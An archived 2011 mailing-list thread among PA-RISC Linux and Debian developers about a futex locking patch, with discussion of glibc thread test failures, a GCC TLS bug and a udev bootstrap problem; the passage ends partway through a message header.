Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3972 gmane.linux.debian.ports.hppa:6708
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3972>

Hi John,

On Sun, Oct 09, 2011 at 04:40:10PM -0400, John David Anglin wrote:
> In debugging the failure of the glibc tst-cond18 test on parisc, I realized
> that futexes need to use the same locks the lws calls.  This fixes all the
> pthread 'cond' tests.  Sadly, there are still problems with thread cancellation.

I applied your patch to 3.1-rc9 and tried to build Debian eglibc 2.13-21. It
passed tst-cond18 but is hanging on tst-fork1. Is it where you see the thread
cancellation issue?

Thank you for having looked at it.

Regards,
Domenico
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 17 Oct 2011 11:47:06 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
	<20111017152358.GA3518@glitch>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1318866435 20427 80.91.229.12 (17 Oct 2011 15:47:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Oct 2011 15:47:15 +0000 (UTC)
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org, jejb@parisc-linux.org,
	kyle@mcmartin.ca, deller@gmx.de, carlos@systemhalted.org,
	debian-hppa@lists.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 17 17:47:10 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RFpPB-0002DY-9C
	for glpp-linux-parisc@lo.gmane.org; Mon, 17 Oct 2011 17:47:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752187Ab1JQPrI convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Oct 2011 11:47:08 -0400
Original-Received: from mail-yw0-f46.google.com ([209.85.213.46]:51940 "EHLO
	mail-yw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751968Ab1JQPrH convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Oct 2011 11:47:07 -0400
Original-Received: by ywf7 with SMTP id 7so739221ywf.19
        for <linux-parisc@vger.kernel.org>; Mon, 17 Oct 2011 08:47:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        bh=a3l3qj7VF2gdpZ9R5058l38+E9jtnXXbKOBTGTjTUzQ=;
        b=gP+h97/IEci8+a11qprNfw24u3JZikieWSORvNrCcSCXt2d8UWypY5z/kLtdX9F4Yi
         6d+ly8/x2yL/HT9utbRX5coVASLIk772coFraf3OqpVjz952vQSwsC3URbaqcQZFLnpJ
         cSiQR5ciMtdiu/A6vm96Jd85xRLSQrKlgs19k=
Original-Received: by 10.42.244.137 with SMTP id lq9mr39530876icb.28.1318866426763;
 Mon, 17 Oct 2011 08:47:06 -0700 (PDT)
Original-Received: by 10.42.239.198 with HTTP; Mon, 17 Oct 2011 08:47:06 -0700 (PDT)
In-Reply-To: <20111017152358.GA3518@glitch>
X-Google-Sender-Auth: SIN5GmtT5EZ18yrpVJdzA4E5PoQ
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3973 gmane.linux.debian.ports.hppa:6709
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3973>

On Mon, Oct 17, 2011 at 11:23 AM, Domenico Andreoli <cavokz@gmail.com> =
wrote:
> Hi John,
>
> On Sun, Oct 09, 2011 at 04:40:10PM -0400, John David Anglin wrote:
>> In debugging the failure of the glibc tst-cond18 test on parisc, I r=
ealized
>> that futexes need to use the same locks the lws calls. =A0This fixes=
 all the
>> pthread 'cond' tests. =A0Sadly, there are still problems with thread=
 cancellation.
>
> I applied your patch to 3.1-rc9 and tried to build Debian eglibc 2.13=
-21. It
> passed tst-cond18 but is hanging on tst-fork1. Is it where you see th=
e thread
> cancellation issue?
>
> Thank you for having looked at it.

The test-fork1 failure is still unexplained and happens intermittently.

The cancellation issues happen in tst-cancel*.

I believe the cancellation issues are toolchain issues and I need to
look into them.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 17 Oct 2011 14:10:38 -0400
Lines: 59
Approved: news@gmane.org
Message-ID: <4E9C6F9E.5000605@bell.net>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <20111017152358.GA3518@glitch> <CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1318875042 20941 80.91.229.12 (17 Oct 2011 18:10:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Oct 2011 18:10:42 +0000 (UTC)
To: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 17 20:10:38 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RFre0-0006mx-RL
	for glpp-linux-parisc@lo.gmane.org; Mon, 17 Oct 2011 20:10:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751764Ab1JQSKg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Oct 2011 14:10:36 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:51683 "EHLO
	mail-08.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751198Ab1JQSKg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Oct 2011 14:10:36 -0400
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-08.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1RFrdz-00053Y-0N; Mon, 17 Oct 2011 14:10:35 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1
In-Reply-To: <CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3974 gmane.linux.debian.ports.hppa:6710
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3974>

On 10/17/2011 11:47 AM, Carlos O'Donell wrote:
> The test-fork1 failure is still unexplained and happens intermittently.

I have built a lot of unstable on my rp3440.  I think this one causes 
failures in the thread
testsuites of perl, python2.7 and glib2.0.  These are characterized by 
tests hanging.

There is another class of failures.  They typically cause my rp3440 to 
crash due
to cache corruption.  The GCC libgomp and libatomic-ops testsuite seem 
to trigger
this one.  As I have mentioned, it's the libgomp "for" tests that
>
> The cancellation issues happen in tst-cancel*.
>
> I believe the cancellation issues are toolchain issues and I need to
> look into them.
Possibly, this is related to the following bug that I found last week 
building mpfr-3.1.0:
http://gcc.gnu.org/bugzilla/show_bug.cgi?id=50691
A call to __tls_get_addr clobbers first argument of call to mpfr_cache.  
Don't have a
fix at the moment, but there is a simple testcase.

On a different subject, I tried to get udev-172-1 working.  However, 
this breaks bootstrap
due to an invalid argument in a call to inotify_init.  It's somewhat 
timing dependent since
some kernels will boot if they build enough of /dev before udev messes 
up.  In any case,
I believe that Guy Martin posted a patch a year or so ago to correct an 
inconsistency
between the glibc and the kernel for some bit definitions.  I'm thinking 
this may fix the
udev problem.

It appears that this change got lost and didn't make it into the debian 
glibc patch set.
Was a consensus reached on how to fix this inconsistency?

I plan on seeing if I can resolve the GCC mpfr bug, then I want to 
rebuild glibc with
the flag bits fixed.

I also found a GCC ICE compiling udev-172-1 with gcc-4.4.  Gcc-4.5 and 
gcc-4.6 seem
ok.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 17 Oct 2011 16:55:31 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <4E9C9643.6030309@systemhalted.org>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <20111017152358.GA3518@glitch> <CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com> <4E9C6F9E.5000605@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1318884948 31587 80.91.229.12 (17 Oct 2011 20:55:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Oct 2011 20:55:48 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 17 22:55:41 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RFuDi-0006kA-2s
	for glpp-linux-parisc@lo.gmane.org; Mon, 17 Oct 2011 22:55:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753765Ab1JQUzg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Oct 2011 16:55:36 -0400
Original-Received: from mail-yx0-f174.google.com ([209.85.213.174]:47364 "EHLO
	mail-yx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753486Ab1JQUzg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Oct 2011 16:55:36 -0400
Original-Received: by yxp4 with SMTP id 4so4440724yxp.5
        for <linux-parisc@vger.kernel.org>; Mon, 17 Oct 2011 13:55:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:x-enigmail-version:content-type
         :content-transfer-encoding;
        bh=1Pcb6OUPLtGqrS2avwlMHdlrEy80nlMUNKjGL/jjQqk=;
        b=kIy3lOu/VkHXoY0aq8A3oTJH35U4fuKiSj3lXdedTu4YidHlX3iemJuMCryVulaOdl
         OsVo1VvyZZxzNs5DaxsfrKoH3PsrmNmrdworSaspbVRibWybQCbjvhdFMmYM72zY1p0j
         etY46A895WJqKb/94taDd5Wy5UQUNtiYqD5CE=
Original-Received: by 10.68.59.10 with SMTP id v10mr41524896pbq.16.1318884935453;
        Mon, 17 Oct 2011 13:55:35 -0700 (PDT)
Original-Received: from [192.168.2.16] (bas3-ottawa23-1177594034.dsl.bell.ca. [70.48.168.178])
        by mx.google.com with ESMTPS id ml4sm62345622pbc.0.2011.10.17.13.55.32
        (version=SSLv3 cipher=OTHER);
        Mon, 17 Oct 2011 13:55:33 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1
In-Reply-To: <4E9C6F9E.5000605@bell.net>
X-Enigmail-Version: 1.3.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3975 gmane.linux.debian.ports.hppa:6711
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3975>

On 10/17/2011 2:10 PM, John David Anglin wrote:
> On 10/17/2011 11:47 AM, Carlos O'Donell wrote:
>> The test-fork1 failure is still unexplained and happens intermittently.
> 
> I have built a lot of unstable on my rp3440.  I think this one causes failures in the thread
> testsuites of perl, python2.7 and glib2.0.  These are characterized by tests hanging.
> 
> There is another class of failures.  They typically cause my rp3440 to crash due
> to cache corruption.  The GCC libgomp and libatomic-ops testsuite seem to trigger
> this one.  As I have mentioned, it's the libgomp "for" tests that
>>
>> The cancellation issues happen in tst-cancel*.
>>
>> I believe the cancellation issues are toolchain issues and I need to
>> look into them.
> Possibly, this is related to the following bug that I found last week building mpfr-3.1.0:
> http://gcc.gnu.org/bugzilla/show_bug.cgi?id=50691
> A call to __tls_get_addr clobbers first argument of call to mpfr_cache.  Don't have a
> fix at the moment, but there is a simple testcase.
> 
> On a different subject, I tried to get udev-172-1 working.  However, this breaks bootstrap
> due to an invalid argument in a call to inotify_init.  It's somewhat timing dependent since
> some kernels will boot if they build enough of /dev before udev messes up.  In any case,
> I believe that Guy Martin posted a patch a year or so ago to correct an inconsistency
> between the glibc and the kernel for some bit definitions.  I'm thinking this may fix the
> udev problem.

What patch is this? I don't remember it. URL?

> It appears that this change got lost and didn't make it into the debian glibc patch set.
> Was a consensus reached on how to fix this inconsistency?
> 
> I plan on seeing if I can resolve the GCC mpfr bug, then I want to rebuild glibc with
> the flag bits fixed.
> 
> I also found a GCC ICE compiling udev-172-1 with gcc-4.4.  Gcc-4.5 and gcc-4.6 seem
> ok.


Cheers,
Carlos.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 17 Oct 2011 17:09:05 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <4E9C9971.5090806@bell.net>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <20111017152358.GA3518@glitch> <CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com> <4E9C6F9E.5000605@bell.net> <4E9C9643.6030309@systemhalted.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1318885751 4869 80.91.229.12 (17 Oct 2011 21:09:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Oct 2011 21:09:11 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 17 23:09:07 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RFuQk-00043d-9w
	for glpp-linux-parisc@lo.gmane.org; Mon, 17 Oct 2011 23:09:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755181Ab1JQVJF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Oct 2011 17:09:05 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:50841 "EHLO
	mail-10.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1754574Ab1JQVJE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Oct 2011 17:09:04 -0400
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-10.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1RFuQg-0007Zb-0w; Mon, 17 Oct 2011 17:09:02 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1
In-Reply-To: <4E9C9643.6030309@systemhalted.org>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3976 gmane.linux.debian.ports.hppa:6712
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3976>

On 10/17/2011 4:55 PM, Carlos O'Donell wrote:
> On 10/17/2011 2:10 PM, John David Anglin wrote:
>> >  On 10/17/2011 11:47 AM, Carlos O'Donell wrote:
>>> >>  The test-fork1 failure is still unexplained and happens intermittently.
>> >  
>> >  I have built a lot of unstable on my rp3440.  I think this one causes failures in the thread
>> >  testsuites of perl, python2.7 and glib2.0.  These are characterized by tests hanging.
>> >  
>> >  There is another class of failures.  They typically cause my rp3440 to crash due
>> >  to cache corruption.  The GCC libgomp and libatomic-ops testsuite seem to trigger
>> >  this one.  As I have mentioned, it's the libgomp "for" tests that
>>> >>
>>> >>  The cancellation issues happen in tst-cancel*.
>>> >>
>>> >>  I believe the cancellation issues are toolchain issues and I need to
>>> >>  look into them.
>> >  Possibly, this is related to the following bug that I found last week building mpfr-3.1.0:
>> >  http://gcc.gnu.org/bugzilla/show_bug.cgi?id=50691
>> >  A call to __tls_get_addr clobbers first argument of call to mpfr_cache.  Don't have a
>> >  fix at the moment, but there is a simple testcase.
>> >  
>> >  On a different subject, I tried to get udev-172-1 working.  However, this breaks bootstrap
>> >  due to an invalid argument in a call to inotify_init.  It's somewhat timing dependent since
>> >  some kernels will boot if they build enough of /dev before udev messes up.  In any case,
>> >  I believe that Guy Martin posted a patch a year or so ago to correct an inconsistency
>> >  between the glibc and the kernel for some bit definitions.  I'm thinking this may fix the
>> >  udev problem.
> What patch is this? I don't remember it. URL?
>
http://www.cygwin.com/ml/libc-ports/2010-08/msg00001.html

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavok@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 17 Oct 2011 23:57:34 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20111017215734.GA28681@glitch>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
 <20111017152358.GA3518@glitch>
 <CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com>
 <4E9C6F9E.5000605@bell.net>
 <4E9C9643.6030309@systemhalted.org>
 <4E9C9971.5090806@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1318888669 24786 80.91.229.12 (17 Oct 2011 21:57:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Oct 2011 21:57:49 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 17 23:57:42 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RFvBl-0004ud-Jz
	for glpp-linux-parisc@lo.gmane.org; Mon, 17 Oct 2011 23:57:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755390Ab1JQV5l (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Oct 2011 17:57:41 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:63099 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754311Ab1JQV5k (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Oct 2011 17:57:40 -0400
Original-Received: by eye27 with SMTP id 27so3417317eye.19
        for <linux-parisc@vger.kernel.org>; Mon, 17 Oct 2011 14:57:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:date:from:to:cc:subject:message-id:mail-followup-to
         :references:mime-version:content-type:content-disposition
         :in-reply-to;
        bh=6tEn6HGHx9OLW9znStK/bGuZlquqDh71TBREB6KM1g8=;
        b=bDLA91awKy1w32gjzojvyiiu7jY37Nc+ivUuejQBBNYLiEefNTsq/Gfo8dYmk0fj4W
         vBGaS5vlrD8nC+1W1ZwFFhOvb97aLRIhVLM57AVoLoRLbMrI9V4RBnedm5IwU6mbuwlY
         HZZWdc0KeWABLrR6BVSk8Ok3EtUnTkuJHqeNE=
Original-Received: by 10.213.7.145 with SMTP id d17mr9169ebd.7.1318888657474;
        Mon, 17 Oct 2011 14:57:37 -0700 (PDT)
Original-Received: from glitch (j48213.upc-j.chello.nl. [24.132.48.213])
        by mx.google.com with ESMTPS id y11sm33264503eej.5.2011.10.17.14.57.35
        (version=TLSv1/SSLv3 cipher=OTHER);
        Mon, 17 Oct 2011 14:57:36 -0700 (PDT)
Original-Received: by glitch (Postfix, from userid 1000)
	id 3D330BA1CDD; Mon, 17 Oct 2011 23:57:34 +0200 (CEST)
Mail-Followup-To: John David Anglin <dave.anglin@bell.net>,
	Carlos O'Donell <carlos@systemhalted.org>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
Content-Disposition: inline
In-Reply-To: <4E9C9971.5090806@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3977 gmane.linux.debian.ports.hppa:6713
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3977>

On Mon, Oct 17, 2011 at 05:09:05PM -0400, John David Anglin wrote:
> On 10/17/2011 4:55 PM, Carlos O'Donell wrote:
> >On 10/17/2011 2:10 PM, John David Anglin wrote:
> >>>  On 10/17/2011 11:47 AM, Carlos O'Donell wrote:
> >>>>>  The test-fork1 failure is still unexplained and happens intermittently.
> >>>  >  I have built a lot of unstable on my rp3440.  I think this
> >>one causes failures in the thread
> >>>  testsuites of perl, python2.7 and glib2.0.  These are characterized by tests hanging.
> >>>  >  There is another class of failures.  They typically cause
> >>my rp3440 to crash due
> >>>  to cache corruption.  The GCC libgomp and libatomic-ops testsuite seem to trigger
> >>>  this one.  As I have mentioned, it's the libgomp "for" tests that
> >>>>>
> >>>>>  The cancellation issues happen in tst-cancel*.
> >>>>>
> >>>>>  I believe the cancellation issues are toolchain issues and I need to
> >>>>>  look into them.
> >>>  Possibly, this is related to the following bug that I found last week building mpfr-3.1.0:
> >>>  http://gcc.gnu.org/bugzilla/show_bug.cgi?id=50691
> >>>  A call to __tls_get_addr clobbers first argument of call to mpfr_cache.  Don't have a
> >>>  fix at the moment, but there is a simple testcase.
> >>>  >  On a different subject, I tried to get udev-172-1 working.
> >>However, this breaks bootstrap
> >>>  due to an invalid argument in a call to inotify_init.  It's somewhat timing dependent since
> >>>  some kernels will boot if they build enough of /dev before udev messes up.  In any case,
> >>>  I believe that Guy Martin posted a patch a year or so ago to correct an inconsistency
> >>>  between the glibc and the kernel for some bit definitions.  I'm thinking this may fix the
> >>>  udev problem.
> >What patch is this? I don't remember it. URL?
> >
> http://www.cygwin.com/ml/libc-ports/2010-08/msg00001.html

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=617973

cheers,
Domenico
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 17 Oct 2011 18:28:07 -0400
Lines: 98
Approved: news@gmane.org
Message-ID: <BLU0-SMTP3369C2E5C7F1EBE9C97C5B97E40@phx.gbl>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <20111017152358.GA3518@glitch> <CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com> <4E9C6F9E.5000605@bell.net> <4E9C9643.6030309@systemhalted.org> <4E9C9971.5090806@bell.net> <20111017215734.GA28681@glitch>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1318890883 7158 80.91.229.12 (17 Oct 2011 22:34:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Oct 2011 22:34:43 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Domenico Andreoli <cavok@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 18 00:34:38 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RFvlU-00027P-Uo
	for glpp-linux-parisc@lo.gmane.org; Tue, 18 Oct 2011 00:34:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756299Ab1JQWeg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Oct 2011 18:34:36 -0400
Original-Received: from blu0-omc4-s11.blu0.hotmail.com ([65.55.111.150]:20455 "EHLO
